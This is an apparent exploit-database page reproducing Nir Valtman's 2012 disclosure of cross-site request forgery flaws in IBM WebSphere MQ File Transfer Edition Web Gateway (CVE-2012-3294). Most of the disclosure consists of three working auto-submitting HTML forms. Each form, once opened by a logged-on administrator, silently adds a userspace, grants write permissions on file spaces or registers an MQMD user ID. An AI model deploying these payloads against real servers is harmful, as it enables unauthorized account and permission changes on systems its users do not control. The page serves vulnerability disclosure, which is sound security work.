Lucene search
+L

IBM Websphere MQ File Transfer Edition Web Gateway - Cross-Site Request Forgery

🗓️ 13 Aug 2012 00:00:00Reported by Nir ValtmanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

IBM Websphere MQ File Transfer Edition Web Gateway - Cross-Site Request Forgery, allows unauthorized addition of userspace, permission changes, and manipulation of MQ Message Descriptor (MQMD) user IDs via CSRF attacks

Related
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: IBM WebSphere MQ File Transfer Edition Web Gateway vulnerable to CSRF attack (CVE-2012-3294)
25 Sep 202219:56
ibm
circl
Circl
CVE-2012-3294
13 Aug 201200:00
circl
cve
CVE
CVE-2012-3294
17 Aug 201210:00
cve
cvelist
Cvelist
CVE-2012-3294
17 Aug 201210:00
cvelist
euvd
EUVD
EUVD-2012-3272
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-3294
17 Aug 201210:31
nvd
packetstorm
Packet Storm
IBM WebSphere MQ File Transfer Edition Web Gateway CSRF
13 Aug 201200:00
packetstorm
prion
Prion
Cross site request forgery (csrf)
17 Aug 201210:31
prion
*Exploit Author:* Nir Valtman

*Description:* Malicious user is able to add userspace, change permissions
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of
the these vulnerabilities can be exploited using a CSRF (Cross Site Request
Forgery) attack.
Few days ago the CVE has
been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>

*
*
*Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ
File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running
on all platforms are affected.
* *
*
*
*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:

<html>

                  <head></head>

                  <body>

                                    <form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"

                                                      <input type="hidden"
name="nirvcsrf" value="junk" />

                                                      <input type="hidden"
name="name" value="zzzzzz" />

                                                      <input type="hidden"
name="quota" value="15" />

                                                      <input type="hidden"
name="id" value="NewFileSpace" />



                                    </form>

                                    <script>

                                                      document.frm.submit();

                                    </script>

                  </body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 1]

*2. CSRF to add permissions on file spaces:*
I created the following HTML page and then opened it by a logged-on user:

<html>

                  <head></head>

                  <body>

                                    <form id="frm" method="post"
action="https://*[ip-address-and-port]*
 /wmqfteconsole/FileSpacePermisssions"

                                                      <input type="hidden"
name="nirvcsrf" value="junk" />

                                                      <input type="hidden"
name="user" value="bodek2" />

                                                      <input type="hidden"
name="write" value="authorized" />

                                                      <input type="hidden"
name="id" value="zzzzzz_TEMP_PERMISSIONS" />



                                    </form>

                                    <script>

                                                      document.frm.submit();

                                    </script>

                  </body>
</html>

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 2]

*2. CSRF to add MQMD user id:*
I created the following HTML page and then opened it by a logged-on user:

<html>

                  <head></head>

                  <body>

                                    <form id="frm" method="post"
action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"

                                                      <input type="hidden"
name="nirvcsrf" value="junk" />

                                                      <input type="hidden"
name="userID" value="csrfUserId" />

                                                      <input type="hidden"
name="mqmdUserID" value="userIdTest" />

                                                      <input type="hidden"
name="id" value="NewUploadUser" />



                                    </form>

                                    <script>

                                                      document.frm.submit();

                                    </script>

                  </body>

</html>

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 3]

Best Regards,
Nir Valtman

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation